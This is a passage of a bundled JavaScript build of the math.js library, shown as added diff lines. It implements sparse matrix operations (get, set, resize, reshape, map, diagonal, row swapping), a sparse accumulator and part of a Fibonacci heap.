+ + validateIndex(i, this._size[0]); + validateIndex(j, this._size[1]); // find value index + + var k = _getValueIndex(i, this._ptr[j], this._ptr[j + 1], this._index); // check k is prior to next column k and it is in the correct row + + + if (k < this._ptr[j + 1] && this._index[k] === i) { + return this._values[k]; + } + + return 0; + }; + /** + * Replace a single element in the matrix. + * @memberof SparseMatrix + * @param {number[]} index Zero-based index + * @param {*} v + * @param {*} [defaultValue] Default value, filled in on new entries when + * the matrix is resized. If not provided, + * new matrix elements will be set to zero. + * @return {SparseMatrix} self + */ + + + SparseMatrix.prototype.set = function (index, v, defaultValue) { + if (!isArray(index)) { + throw new TypeError('Array expected'); + } + + if (index.length !== this._size.length) { + throw new DimensionError(index.length, this._size.length); + } // check it is a pattern matrix + + + if (!this._values) { + throw new Error('Cannot invoke set on a Pattern only matrix'); + } // row and column + + + var i = index[0]; + var j = index[1]; // rows & columns + + var rows = this._size[0]; + var columns = this._size[1]; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; + + if (isString(this._datatype)) { + // find signature that matches (datatype, datatype) + eq = typed.find(equalScalar, [this._datatype, this._datatype]) || equalScalar; // convert 0 to the same datatype + + zero = typed.convert(0, this._datatype); + } // check we need to resize matrix + + + if (i > rows - 1 || j > columns - 1) { + // resize matrix + _resize(this, Math.max(i + 1, rows), Math.max(j + 1, columns), defaultValue); // update rows & columns + + + rows = this._size[0]; + columns = this._size[1]; + } // check i, j are valid + + + validateIndex(i, rows); + validateIndex(j, columns); // find value index + + var k = _getValueIndex(i, this._ptr[j], this._ptr[j + 1], this._index); // check k is prior to next column k and it is in the correct row + + + if (k < this._ptr[j + 1] && this._index[k] === i) { + // check value != 0 + if (!eq(v, zero)) { + // update value + this._values[k] = v; + } else { + // remove value from matrix + _remove(k, j, this._values, this._index, this._ptr); + } + } else { + // insert value @ (i, j) + _insert(k, i, j, v, this._values, this._index, this._ptr); + } + + return this; + }; + + function _getValueIndex(i, top, bottom, index) { + // check row is on the bottom side + if (bottom - top === 0) { + return bottom; + } // loop rows [top, bottom[ + + + for (var r = top; r < bottom; r++) { + // check we found value index + if (index[r] === i) { + return r; + } + } // we did not find row + + + return top; + } + + function _remove(k, j, values, index, ptr) { + // remove value @ k + values.splice(k, 1); + index.splice(k, 1); // update pointers + + for (var x = j + 1; x < ptr.length; x++) { + ptr[x]--; + } + } + + function _insert(k, i, j, v, values, index, ptr) { + // insert value + values.splice(k, 0, v); // update row for k + + index.splice(k, 0, i); // update column pointers + + for (var x = j + 1; x < ptr.length; x++) { + ptr[x]++; + } + } + /** + * Resize the matrix to the given size. Returns a copy of the matrix when + * `copy=true`, otherwise return the matrix itself (resize in place). + * + * @memberof SparseMatrix + * @param {number[]} size The new size the matrix should have. + * @param {*} [defaultValue=0] Default value, filled in on new entries. + * If not provided, the matrix elements will + * be filled with zeros. + * @param {boolean} [copy] Return a resized copy of the matrix + * + * @return {Matrix} The resized matrix + */ + + + SparseMatrix.prototype.resize = function (size, defaultValue, copy) { + // validate arguments + if (!isArray(size)) { + throw new TypeError('Array expected'); + } + + if (size.length !== 2) { + throw new Error('Only two dimensions matrix are supported'); + } // check sizes + + + size.forEach(function (value) { + if (!number.isNumber(value) || !number.isInteger(value) || value < 0) { + throw new TypeError('Invalid size, must contain positive integers ' + '(size: ' + string.format(size) + ')'); + } + }); // matrix to resize + + var m = copy ? this.clone() : this; // resize matrix + + return _resize(m, size[0], size[1], defaultValue); + }; + + function _resize(matrix, rows, columns, defaultValue) { + // value to insert at the time of growing matrix + var value = defaultValue || 0; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; + + if (isString(matrix._datatype)) { + // find signature that matches (datatype, datatype) + eq = typed.find(equalScalar, [matrix._datatype, matrix._datatype]) || equalScalar; // convert 0 to the same datatype + + zero = typed.convert(0, matrix._datatype); // convert value to the same datatype + + value = typed.convert(value, matrix._datatype); + } // should we insert the value? + + + var ins = !eq(value, zero); // old columns and rows + + var r = matrix._size[0]; + var c = matrix._size[1]; + var i, j, k; // check we need to increase columns + + if (columns > c) { + // loop new columns + for (j = c; j < columns; j++) { + // update matrix._ptr for current column + matrix._ptr[j] = matrix._values.length; // check we need to insert matrix._values + + if (ins) { + // loop rows + for (i = 0; i < r; i++) { + // add new matrix._values + matrix._values.push(value); // update matrix._index + + + matrix._index.push(i); + } + } + } // store number of matrix._values in matrix._ptr + + + matrix._ptr[columns] = matrix._values.length; + } else if (columns < c) { + // truncate matrix._ptr + matrix._ptr.splice(columns + 1, c - columns); // truncate matrix._values and matrix._index + + + matrix._values.splice(matrix._ptr[columns], matrix._values.length); + + matrix._index.splice(matrix._ptr[columns], matrix._index.length); + } // update columns + + + c = columns; // check we need to increase rows + + if (rows > r) { + // check we have to insert values + if (ins) { + // inserts + var n = 0; // loop columns + + for (j = 0; j < c; j++) { + // update matrix._ptr for current column + matrix._ptr[j] = matrix._ptr[j] + n; // where to insert matrix._values + + k = matrix._ptr[j + 1] + n; // pointer + + var p = 0; // loop new rows, initialize pointer + + for (i = r; i < rows; i++, p++) { + // add value + matrix._values.splice(k + p, 0, value); // update matrix._index + + + matrix._index.splice(k + p, 0, i); // increment inserts + + + n++; + } + } // store number of matrix._values in matrix._ptr + + + matrix._ptr[c] = matrix._values.length; + } + } else if (rows < r) { + // deletes + var d = 0; // loop columns + + for (j = 0; j < c; j++) { + // update matrix._ptr for current column + matrix._ptr[j] = matrix._ptr[j] - d; // where matrix._values start for next column + + var k0 = matrix._ptr[j]; + var k1 = matrix._ptr[j + 1] - d; // loop matrix._index + + for (k = k0; k < k1; k++) { + // row + i = matrix._index[k]; // check we need to delete value and matrix._index + + if (i > rows - 1) { + // remove value + matrix._values.splice(k, 1); // remove item from matrix._index + + + matrix._index.splice(k, 1); // increase deletes + + + d++; + } + } + } // update matrix._ptr for current column + + + matrix._ptr[j] = matrix._values.length; + } // update matrix._size + + + matrix._size[0] = rows; + matrix._size[1] = columns; // return matrix + + return matrix; + } + /** + * Reshape the matrix to the given size. Returns a copy of the matrix when + * `copy=true`, otherwise return the matrix itself (reshape in place). + * + * NOTE: This might be better suited to copy by default, instead of modifying + * in place. For now, it operates in place to remain consistent with + * resize(). + * + * @memberof SparseMatrix + * @param {number[]} size The new size the matrix should have. + * @param {boolean} [copy] Return a reshaped copy of the matrix + * + * @return {Matrix} The reshaped matrix + */ + + + SparseMatrix.prototype.reshape = function (size, copy) { + // validate arguments + if (!isArray(size)) { + throw new TypeError('Array expected'); + } + + if (size.length !== 2) { + throw new Error('Sparse matrices can only be reshaped in two dimensions'); + } // check sizes + + + size.forEach(function (value) { + if (!number.isNumber(value) || !number.isInteger(value) || value < 0) { + throw new TypeError('Invalid size, must contain positive integers ' + '(size: ' + string.format(size) + ')'); + } + }); // m * n must not change + + if (this._size[0] * this._size[1] !== size[0] * size[1]) { + throw new Error('Reshaping sparse matrix will result in the wrong number of elements'); + } // matrix to reshape + + + var m = copy ? this.clone() : this; // return unchanged if the same shape + + if (this._size[0] === size[0] && this._size[1] === size[1]) { + return m; + } // Convert to COO format (generate a column index) + + + var colIndex = []; + + for (var i = 0; i < m._ptr.length; i++) { + for (var j = 0; j < m._ptr[i + 1] - m._ptr[i]; j++) { + colIndex.push(i); + } + } // Clone the values array + + + var values = m._values.slice(); // Clone the row index array + + + var rowIndex = m._index.slice(); // Transform the (row, column) indices + + + for (var _i = 0; _i < m._index.length; _i++) { + var r1 = rowIndex[_i]; + var c1 = colIndex[_i]; + var flat = r1 * m._size[1] + c1; + colIndex[_i] = flat % size[1]; + rowIndex[_i] = Math.floor(flat / size[1]); + } // Now reshaping is supposed to preserve the row-major order, BUT these sparse matrices are stored + // in column-major order, so we have to reorder the value array now. One option is to use a multisort, + // sorting several arrays based on some other array. + // OR, we could easily just: + // 1. Remove all values from the matrix + + + m._values.length = 0; + m._index.length = 0; + m._ptr.length = size[1] + 1; + m._size = size.slice(); + + for (var _i2 = 0; _i2 < m._ptr.length; _i2++) { + m._ptr[_i2] = 0; + } // 2. Re-insert all elements in the proper order (simplified code from SparseMatrix.prototype.set) + // This step is probably the most time-consuming + + + for (var h = 0; h < values.length; h++) { + var _i3 = rowIndex[h]; + var _j = colIndex[h]; + var v = values[h]; + + var k = _getValueIndex(_i3, m._ptr[_j], m._ptr[_j + 1], m._index); + + _insert(k, _i3, _j, v, m._values, m._index, m._ptr); + } // The value indices are inserted out of order, but apparently that's... still OK? + + + return m; + }; + /** + * Create a clone of the matrix + * @memberof SparseMatrix + * @return {SparseMatrix} clone + */ + + + SparseMatrix.prototype.clone = function () { + var m = new SparseMatrix({ + values: this._values ? object.clone(this._values) : undefined, + index: object.clone(this._index), + ptr: object.clone(this._ptr), + size: object.clone(this._size), + datatype: this._datatype + }); + return m; + }; + /** + * Retrieve the size of the matrix. + * @memberof SparseMatrix + * @returns {number[]} size + */ + + + SparseMatrix.prototype.size = function () { + return this._size.slice(0); // copy the Array + }; + /** + * Create a new matrix with the results of the callback function executed on + * each entry of the matrix. + * @memberof SparseMatrix + * @param {Function} callback The callback function is invoked with three + * parameters: the value of the element, the index + * of the element, and the Matrix being traversed. + * @param {boolean} [skipZeros] Invoke callback function for non-zero values only. + * + * @return {SparseMatrix} matrix + */ + + + SparseMatrix.prototype.map = function (callback, skipZeros) { + // check it is a pattern matrix + if (!this._values) { + throw new Error('Cannot invoke map on a Pattern only matrix'); + } // matrix instance + + + var me = this; // rows and columns + + var rows = this._size[0]; + var columns = this._size[1]; // invoke callback + + var invoke = function invoke(v, i, j) { + // invoke callback + return callback(v, [i, j], me); + }; // invoke _map + + + return _map(this, 0, rows - 1, 0, columns - 1, invoke, skipZeros); + }; + /** + * Create a new matrix with the results of the callback function executed on the interval + * [minRow..maxRow, minColumn..maxColumn]. + */ + + + function _map(matrix, minRow, maxRow, minColumn, maxColumn, callback, skipZeros) { + // result arrays + var values = []; + var index = []; + var ptr = []; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; + + if (isString(matrix._datatype)) { + // find signature that matches (datatype, datatype) + eq = typed.find(equalScalar, [matrix._datatype, matrix._datatype]) || equalScalar; // convert 0 to the same datatype + + zero = typed.convert(0, matrix._datatype); + } // invoke callback + + + var invoke = function invoke(v, x, y) { + // invoke callback + v = callback(v, x, y); // check value != 0 + + if (!eq(v, zero)) { + // store value + values.push(v); // index + + index.push(x); + } + }; // loop columns + + + for (var j = minColumn; j <= maxColumn; j++) { + // store pointer to values index + ptr.push(values.length); // k0 <= k < k1 where k0 = _ptr[j] && k1 = _ptr[j+1] + + var k0 = matrix._ptr[j]; + var k1 = matrix._ptr[j + 1]; + + if (skipZeros) { + // loop k within [k0, k1[ + for (var k = k0; k < k1; k++) { + // row index + var i = matrix._index[k]; // check i is in range + + if (i >= minRow && i <= maxRow) { + // value @ k + invoke(matrix._values[k], i - minRow, j - minColumn); + } + } + } else { + // create a cache holding all defined values + var _values = {}; + + for (var _k = k0; _k < k1; _k++) { + var _i4 = matrix._index[_k]; + _values[_i4] = matrix._values[_k]; + } // loop over all rows (indexes can be unordered so we can't use that), + // and either read the value or zero + + + for (var _i5 = minRow; _i5 <= maxRow; _i5++) { + var value = _i5 in _values ? _values[_i5] : 0; + invoke(value, _i5 - minRow, j - minColumn); + } + } + } // store number of values in ptr + + + ptr.push(values.length); // return sparse matrix + + return new SparseMatrix({ + values: values, + index: index, + ptr: ptr, + size: [maxRow - minRow + 1, maxColumn - minColumn + 1] + }); + } + /** + * Execute a callback function on each entry of the matrix. + * @memberof SparseMatrix + * @param {Function} callback The callback function is invoked with three + * parameters: the value of the element, the index + * of the element, and the Matrix being traversed. + * @param {boolean} [skipZeros] Invoke callback function for non-zero values only. + */ + + + SparseMatrix.prototype.forEach = function (callback, skipZeros) { + // check it is a pattern matrix + if (!this._values) { + throw new Error('Cannot invoke forEach on a Pattern only matrix'); + } // matrix instance + + + var me = this; // rows and columns + + var rows = this._size[0]; + var columns = this._size[1]; // loop columns + + for (var j = 0; j < columns; j++) { + // k0 <= k < k1 where k0 = _ptr[j] && k1 = _ptr[j+1] + var k0 = this._ptr[j]; + var k1 = this._ptr[j + 1]; + + if (skipZeros) { + // loop k within [k0, k1[ + for (var k = k0; k < k1; k++) { + // row index + var i = this._index[k]; // value @ k + + callback(this._values[k], [i, j], me); + } + } else { + // create a cache holding all defined values + var values = {}; + + for (var _k2 = k0; _k2 < k1; _k2++) { + var _i6 = this._index[_k2]; + values[_i6] = this._values[_k2]; + } // loop over all rows (indexes can be unordered so we can't use that), + // and either read the value or zero + + + for (var _i7 = 0; _i7 < rows; _i7++) { + var value = _i7 in values ? values[_i7] : 0; + callback(value, [_i7, j], me); + } + } + } + }; + /** + * Create an Array with a copy of the data of the SparseMatrix + * @memberof SparseMatrix + * @returns {Array} array + */ + + + SparseMatrix.prototype.toArray = function () { + return _toArray(this._values, this._index, this._ptr, this._size, true); + }; + /** + * Get the primitive value of the SparseMatrix: a two dimensions array + * @memberof SparseMatrix + * @returns {Array} array + */ + + + SparseMatrix.prototype.valueOf = function () { + return _toArray(this._values, this._index, this._ptr, this._size, false); + }; + + function _toArray(values, index, ptr, size, copy) { + // rows and columns + var rows = size[0]; + var columns = size[1]; // result + + var a = []; // vars + + var i, j; // initialize array + + for (i = 0; i < rows; i++) { + a[i] = []; + + for (j = 0; j < columns; j++) { + a[i][j] = 0; + } + } // loop columns + + + for (j = 0; j < columns; j++) { + // k0 <= k < k1 where k0 = _ptr[j] && k1 = _ptr[j+1] + var k0 = ptr[j]; + var k1 = ptr[j + 1]; // loop k within [k0, k1[ + + for (var k = k0; k < k1; k++) { + // row index + i = index[k]; // set value (use one for pattern matrix) + + a[i][j] = values ? copy ? object.clone(values[k]) : values[k] : 1; + } + } + + return a; + } + /** + * Get a string representation of the matrix, with optional formatting options. + * @memberof SparseMatrix + * @param {Object | number | Function} [options] Formatting options. See + * lib/utils/number:format for a + * description of the available + * options. + * @returns {string} str + */ + + + SparseMatrix.prototype.format = function (options) { + // rows and columns + var rows = this._size[0]; + var columns = this._size[1]; // density + + var density = this.density(); // rows & columns + + var str = 'Sparse Matrix [' + string.format(rows, options) + ' x ' + string.format(columns, options) + '] density: ' + string.format(density, options) + '\n'; // loop columns + + for (var j = 0; j < columns; j++) { + // k0 <= k < k1 where k0 = _ptr[j] && k1 = _ptr[j+1] + var k0 = this._ptr[j]; + var k1 = this._ptr[j + 1]; // loop k within [k0, k1[ + + for (var k = k0; k < k1; k++) { + // row index + var i = this._index[k]; // append value + + str += '\n (' + string.format(i, options) + ', ' + string.format(j, options) + ') ==> ' + (this._values ? string.format(this._values[k], options) : 'X'); + } + } + + return str; + }; + /** + * Get a string representation of the matrix + * @memberof SparseMatrix + * @returns {string} str + */ + + + SparseMatrix.prototype.toString = function () { + return string.format(this.toArray()); + }; + /** + * Get a JSON representation of the matrix + * @memberof SparseMatrix + * @returns {Object} + */ + + + SparseMatrix.prototype.toJSON = function () { + return { + mathjs: 'SparseMatrix', + values: this._values, + index: this._index, + ptr: this._ptr, + size: this._size, + datatype: this._datatype + }; + }; + /** + * Get the kth Matrix diagonal. + * + * @memberof SparseMatrix + * @param {number | BigNumber} [k=0] The kth diagonal where the vector will retrieved. + * + * @returns {Matrix} The matrix vector with the diagonal values. + */ + + + SparseMatrix.prototype.diagonal = function (k) { + // validate k if any + if (k) { + // convert BigNumber to a number + if (type.isBigNumber(k)) { + k = k.toNumber(); + } // is must be an integer + + + if (!isNumber(k) || !isInteger(k)) { + throw new TypeError('The parameter k must be an integer number'); + } + } else { + // default value + k = 0; + } + + var kSuper = k > 0 ? k : 0; + var kSub = k < 0 ? -k : 0; // rows & columns + + var rows = this._size[0]; + var columns = this._size[1]; // number diagonal values + + var n = Math.min(rows - kSub, columns - kSuper); // diagonal arrays + + var values = []; + var index = []; + var ptr = []; // initial ptr value + + ptr[0] = 0; // loop columns + + for (var j = kSuper; j < columns && values.length < n; j++) { + // k0 <= k < k1 where k0 = _ptr[j] && k1 = _ptr[j+1] + var k0 = this._ptr[j]; + var k1 = this._ptr[j + 1]; // loop x within [k0, k1[ + + for (var x = k0; x < k1; x++) { + // row index + var i = this._index[x]; // check row + + if (i === j - kSuper + kSub) { + // value on this column + values.push(this._values[x]); // store row + + index[values.length - 1] = i - kSub; // exit loop + + break; + } + } + } // close ptr + + + ptr.push(values.length); // return matrix + + return new SparseMatrix({ + values: values, + index: index, + ptr: ptr, + size: [n, 1] + }); + }; + /** + * Generate a matrix from a JSON object + * @memberof SparseMatrix + * @param {Object} json An object structured like + * `{"mathjs": "SparseMatrix", "values": [], "index": [], "ptr": [], "size": []}`, + * where mathjs is optional + * @returns {SparseMatrix} + */ + + + SparseMatrix.fromJSON = function (json) { + return new SparseMatrix(json); + }; + /** + * Create a diagonal matrix. + * + * @memberof SparseMatrix + * @param {Array} size The matrix size. + * @param {number | Array | Matrix } value The values for the diagonal. + * @param {number | BigNumber} [k=0] The kth diagonal where the vector will be filled in. + * @param {number} [defaultValue] The default value for non-diagonal + * @param {string} [datatype] The Matrix datatype, values must be of this datatype. + * + * @returns {SparseMatrix} + */ + + + SparseMatrix.diagonal = function (size, value, k, defaultValue, datatype) { + if (!isArray(size)) { + throw new TypeError('Array expected, size parameter'); + } + + if (size.length !== 2) { + throw new Error('Only two dimensions matrix are supported'); + } // map size & validate + + + size = size.map(function (s) { + // check it is a big number + if (type.isBigNumber(s)) { + // convert it + s = s.toNumber(); + } // validate arguments + + + if (!isNumber(s) || !isInteger(s) || s < 1) { + throw new Error('Size values must be positive integers'); + } + + return s; + }); // validate k if any + + if (k) { + // convert BigNumber to a number + if (type.isBigNumber(k)) { + k = k.toNumber(); + } // is must be an integer + + + if (!isNumber(k) || !isInteger(k)) { + throw new TypeError('The parameter k must be an integer number'); + } + } else { + // default value + k = 0; + } // equal signature to use + + + var eq = equalScalar; // zero value + + var zero = 0; + + if (isString(datatype)) { + // find signature that matches (datatype, datatype) + eq = typed.find(equalScalar, [datatype, datatype]) || equalScalar; // convert 0 to the same datatype + + zero = typed.convert(0, datatype); + } + + var kSuper = k > 0 ? k : 0; + var kSub = k < 0 ? -k : 0; // rows and columns + + var rows = size[0]; + var columns = size[1]; // number of non-zero items + + var n = Math.min(rows - kSub, columns - kSuper); // value extraction function + + var _value; // check value + + + if (isArray(value)) { + // validate array + if (value.length !== n) { + // number of values in array must be n + throw new Error('Invalid value array length'); + } // define function + + + _value = function _value(i) { + // return value @ i + return value[i]; + }; + } else if (type.isMatrix(value)) { + // matrix size + var ms = value.size(); // validate matrix + + if (ms.length !== 1 || ms[0] !== n) { + // number of values in array must be n + throw new Error('Invalid matrix length'); + } // define function + + + _value = function _value(i) { + // return value @ i + return value.get([i]); + }; + } else { + // define function + _value = function _value() { + // return value + return value; + }; + } // create arrays + + + var values = []; + var index = []; + var ptr = []; // loop items + + for (var j = 0; j < columns; j++) { + // number of rows with value + ptr.push(values.length); // diagonal index + + var i = j - kSuper; // check we need to set diagonal value + + if (i >= 0 && i < n) { + // get value @ i + var v = _value(i); // check for zero + + + if (!eq(v, zero)) { + // column + index.push(i + kSub); // add value + + values.push(v); + } + } + } // last value should be number of values + + + ptr.push(values.length); // create SparseMatrix + + return new SparseMatrix({ + values: values, + index: index, + ptr: ptr, + size: [rows, columns] + }); + }; + /** + * Swap rows i and j in Matrix. + * + * @memberof SparseMatrix + * @param {number} i Matrix row index 1 + * @param {number} j Matrix row index 2 + * + * @return {Matrix} The matrix reference + */ + + + SparseMatrix.prototype.swapRows = function (i, j) { + // check index + if (!isNumber(i) || !isInteger(i) || !isNumber(j) || !isInteger(j)) { + throw new Error('Row index must be positive integers'); + } // check dimensions + + + if (this._size.length !== 2) { + throw new Error('Only two dimensional matrix is supported'); + } // validate index + + + validateIndex(i, this._size[0]); + validateIndex(j, this._size[0]); // swap rows + + SparseMatrix._swapRows(i, j, this._size[1], this._values, this._index, this._ptr); // return current instance + + + return this; + }; + /** + * Loop rows with data in column j. + * + * @param {number} j Column + * @param {Array} values Matrix values + * @param {Array} index Matrix row indeces + * @param {Array} ptr Matrix column pointers + * @param {Function} callback Callback function invoked for every row in column j + */ + + + SparseMatrix._forEachRow = function (j, values, index, ptr, callback) { + // indeces for column j + var k0 = ptr[j]; + var k1 = ptr[j + 1]; // loop + + for (var k = k0; k < k1; k++) { + // invoke callback + callback(index[k], values[k]); + } + }; + /** + * Swap rows x and y in Sparse Matrix data structures. + * + * @param {number} x Matrix row index 1 + * @param {number} y Matrix row index 2 + * @param {number} columns Number of columns in matrix + * @param {Array} values Matrix values + * @param {Array} index Matrix row indeces + * @param {Array} ptr Matrix column pointers + */ + + + SparseMatrix._swapRows = function (x, y, columns, values, index, ptr) { + // loop columns + for (var j = 0; j < columns; j++) { + // k0 <= k < k1 where k0 = _ptr[j] && k1 = _ptr[j+1] + var k0 = ptr[j]; + var k1 = ptr[j + 1]; // find value index @ x + + var kx = _getValueIndex(x, k0, k1, index); // find value index @ x + + + var ky = _getValueIndex(y, k0, k1, index); // check both rows exist in matrix + + + if (kx < k1 && ky < k1 && index[kx] === x && index[ky] === y) { + // swap values (check for pattern matrix) + if (values) { + var v = values[kx]; + values[kx] = values[ky]; + values[ky] = v; + } // next column + + + continue; + } // check x row exist & no y row + + + if (kx < k1 && index[kx] === x && (ky >= k1 || index[ky] !== y)) { + // value @ x (check for pattern matrix) + var vx = values ? values[kx] : undefined; // insert value @ y + + index.splice(ky, 0, y); + + if (values) { + values.splice(ky, 0, vx); + } // remove value @ x (adjust array index if needed) + + + index.splice(ky <= kx ? kx + 1 : kx, 1); + + if (values) { + values.splice(ky <= kx ? kx + 1 : kx, 1); + } // next column + + + continue; + } // check y row exist & no x row + + + if (ky < k1 && index[ky] === y && (kx >= k1 || index[kx] !== x)) { + // value @ y (check for pattern matrix) + var vy = values ? values[ky] : undefined; // insert value @ x + + index.splice(kx, 0, x); + + if (values) { + values.splice(kx, 0, vy); + } // remove value @ y (adjust array index if needed) + + + index.splice(kx <= ky ? ky + 1 : ky, 1); + + if (values) { + values.splice(kx <= ky ? ky + 1 : ky, 1); + } + } + } + }; // register this type in the base class Matrix + + + type.Matrix._storage.sparse = SparseMatrix; + return SparseMatrix; +} + +exports.name = 'SparseMatrix'; +exports.path = 'type'; +exports.factory = factory; +exports.lazy = false; // no lazy loading, as we alter type.Matrix._storage + +/***/ }), +/* 187 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var add = load(__webpack_require__(14)); + var equalScalar = load(__webpack_require__(11)); + /** + * An ordered Sparse Accumulator is a representation for a sparse vector that includes a dense array + * of the vector elements and an ordered list of non-zero elements. + */ + + function Spa() { + if (!(this instanceof Spa)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } // allocate vector, TODO use typed arrays + + + this._values = []; + this._heap = new type.FibonacciHeap(); + } + /** + * Attach type information + */ + + + Spa.prototype.type = 'Spa'; + Spa.prototype.isSpa = true; + /** + * Set the value for index i. + * + * @param {number} i The index + * @param {number | BigNumber | Complex} The value at index i + */ + + Spa.prototype.set = function (i, v) { + // check we have a value @ i + if (!this._values[i]) { + // insert in heap + var node = this._heap.insert(i, v); // set the value @ i + + + this._values[i] = node; + } else { + // update the value @ i + this._values[i].value = v; + } + }; + + Spa.prototype.get = function (i) { + var node = this._values[i]; + + if (node) { + return node.value; + } + + return 0; + }; + + Spa.prototype.accumulate = function (i, v) { + // node @ i + var node = this._values[i]; + + if (!node) { + // insert in heap + node = this._heap.insert(i, v); // initialize value + + this._values[i] = node; + } else { + // accumulate value + node.value = add(node.value, v); + } + }; + + Spa.prototype.forEach = function (from, to, callback) { + // references + var heap = this._heap; + var values = this._values; // nodes + + var nodes = []; // node with minimum key, save it + + var node = heap.extractMinimum(); + + if (node) { + nodes.push(node); + } // extract nodes from heap (ordered) + + + while (node && node.key <= to) { + // check it is in range + if (node.key >= from) { + // check value is not zero + if (!equalScalar(node.value, 0)) { + // invoke callback + callback(node.key, node.value, this); + } + } // extract next node, save it + + + node = heap.extractMinimum(); + + if (node) { + nodes.push(node); + } + } // reinsert all nodes in heap + + + for (var i = 0; i < nodes.length; i++) { + // current node + var n = nodes[i]; // insert node in heap + + node = heap.insert(n.key, n.value); // update values + + values[node.key] = node; + } + }; + + Spa.prototype.swap = function (i, j) { + // node @ i and j + var nodei = this._values[i]; + var nodej = this._values[j]; // check we need to insert indeces + + if (!nodei && nodej) { + // insert in heap + nodei = this._heap.insert(i, nodej.value); // remove from heap + + this._heap.remove(nodej); // set values + + + this._values[i] = nodei; + this._values[j] = undefined; + } else if (nodei && !nodej) { + // insert in heap + nodej = this._heap.insert(j, nodei.value); // remove from heap + + this._heap.remove(nodei); // set values + + + this._values[j] = nodej; + this._values[i] = undefined; + } else if (nodei && nodej) { + // swap values + var v = nodei.value; + nodei.value = nodej.value; + nodej.value = v; + } + }; + + return Spa; +} + +exports.name = 'Spa'; +exports.path = 'type'; +exports.factory = factory; + +/***/ }), +/* 188 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var smaller = load(__webpack_require__(38)); + var larger = load(__webpack_require__(33)); + var oneOverLogPhi = 1.0 / Math.log((1.0 + Math.sqrt(5.0)) / 2.0); + /** + * Fibonacci Heap implementation, used interally for Matrix math. + * @class FibonacciHeap + * @constructor FibonacciHeap + */ + + function FibonacciHeap() { + if (!(this instanceof FibonacciHeap)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } // initialize fields + + + this._minimum = null; + this._size = 0; + } + /** + * Attach type information + */ + + + FibonacciHeap.prototype.type = 'FibonacciHeap'; + FibonacciHeap.prototype.isFibonacciHeap = true; + /** + * Inserts a new data element into the heap. No heap consolidation is + * performed at this time, the new node is simply inserted into the root + * list of this heap. Running time: O(1) actual. + * @memberof FibonacciHeap + */ + + FibonacciHeap.prototype.insert = function (key, value) { + // create node + var node = { + key: key, + value: value, + degree: 0 // check we have a node in the minimum + + }; + + if (this._minimum) { + // minimum node + var minimum = this._minimum; // update left & right of node + + node.left = minimum; + node.right = minimum.right; + minimum.right = node; + node.right.left = node; // update minimum node in heap if needed + + if (smaller(key, minimum.key)) { + // node has a smaller key, use it as minimum + this._minimum = node; + } + } else { + // set left & right + node.left = node; + node.right = node; // this is the first node + + this._minimum = node; + } // increment number of nodes in heap + + + this._size++; // return node + + return node; + }; + /** + * Returns the number of nodes in heap. Running time: O(1) actual. + * @memberof FibonacciHeap + */ + + + FibonacciHeap.prototype.size = function () { + return this._size; + }; + /** + * Removes all elements from this heap. + * @memberof FibonacciHeap + */ + + + FibonacciHeap.prototype.clear = function () { + this._minimum = null; + this._size = 0; + }; + /** + * Returns true if the heap is empty, otherwise false. + * @memberof FibonacciHeap + */ + + + FibonacciHeap.prototype.isEmpty = function () { + return this._size === 0; + }; + /** + * Extracts the node with minimum key from heap. Amortized running + * time: O(log n). + * @memberof FibonacciHeap + */ + + + FibonacciHeap.prototype.extractMinimum = function () { + // node to remove + var node = this._minimum; // check we have a minimum + + if (node === null) { + return node; + } // current minimum + + + var minimum = this._minimum; // get number of children + + var numberOfChildren = node.degree; // pointer to the first child + + var x = node.child; // for each child of node do... + + while (numberOfChildren > 0) { + // store node in right side + var tempRight = x.right; // remove x from child list + + x.left.right = x.right; + x.right.left = x.left; // add x to root list of heap + + x.left = minimum; + x.right = minimum.right; + minimum.right = x; + x.right.left = x; // set Parent[x] to null + + x.parent = null; + x = tempRight; + numberOfChildren--; + } // remove node from root list of heap + + + node.left.right = node.right; + node.right.left = node.left; // update minimum + + if (node === node.right) { + // empty + minimum = null; + } else { + // update minimum + minimum = node.right; // we need to update the pointer to the root with minimum key + + minimum = _findMinimumNode(minimum, this._size); + } // decrement size of heap + + + this._size--; // update minimum + + this._minimum = minimum; // return node + + return node; + }; + /** + * Removes a node from the heap given the reference to the node. The trees + * in the heap will be consolidated, if necessary. This operation may fail + * to remove the correct element if there are nodes with key value -Infinity. + * Running time: O(log n) amortized. + * @memberof FibonacciHeap + */ + + + FibonacciHeap.prototype.remove = function (node) { + // decrease key value + this._minimum = _decreaseKey(this._minimum, node, -1); // remove the smallest + + this.extractMinimum(); + }; + /** + * Decreases the key value for a heap node, given the new value to take on. + * The structure of the heap may be changed and will not be consolidated. + * Running time: O(1) amortized. + * @memberof FibonacciHeap + */ + + + function _decreaseKey(minimum, node, key) { + // set node key + node.key = key; // get parent node + + var parent = node.parent; + + if (parent && smaller(node.key, parent.key)) { + // remove node from parent + _cut(minimum, node, parent); // remove all nodes from parent to the root parent + + + _cascadingCut(minimum, parent); + } // update minimum node if needed + + + if (smaller(node.key, minimum.key)) { + minimum = node; + } // return minimum + + + return minimum; + } + /** + * The reverse of the link operation: removes node from the child list of parent. + * This method assumes that min is non-null. Running time: O(1). + * @memberof FibonacciHeap + */ + + + function _cut(minimum, node, parent) { + // remove node from parent children and decrement Degree[parent] + node.left.right = node.right; + node.right.left = node.left; + parent.degree--; // reset y.child if necessary + + if (parent.child === node) { + parent.child = node.right; + } // remove child if degree is 0 + + + if (parent.degree === 0) { + parent.child = null; + } // add node to root list of heap + + + node.left = minimum; + node.right = minimum.right; + minimum.right = node; + node.right.left = node; // set parent[node] to null + + node.parent = null; // set mark[node] to false + + node.mark = false; + } + /** + * Performs a cascading cut operation. This cuts node from its parent and then + * does the same for its parent, and so on up the tree. + * Running time: O(log n); O(1) excluding the recursion. + * @memberof FibonacciHeap + */ + + + function _cascadingCut(minimum, node) { + // store parent node + var parent = node.parent; // if there's a parent... + + if (!parent) { + return; + } // if node is unmarked, set it marked + + + if (!node.mark) { + node.mark = true; + } else { + // it's marked, cut it from parent + _cut(minimum, node, parent); // cut its parent as well + + + _cascadingCut(parent); + } + } + /** + * Make the first node a child of the second 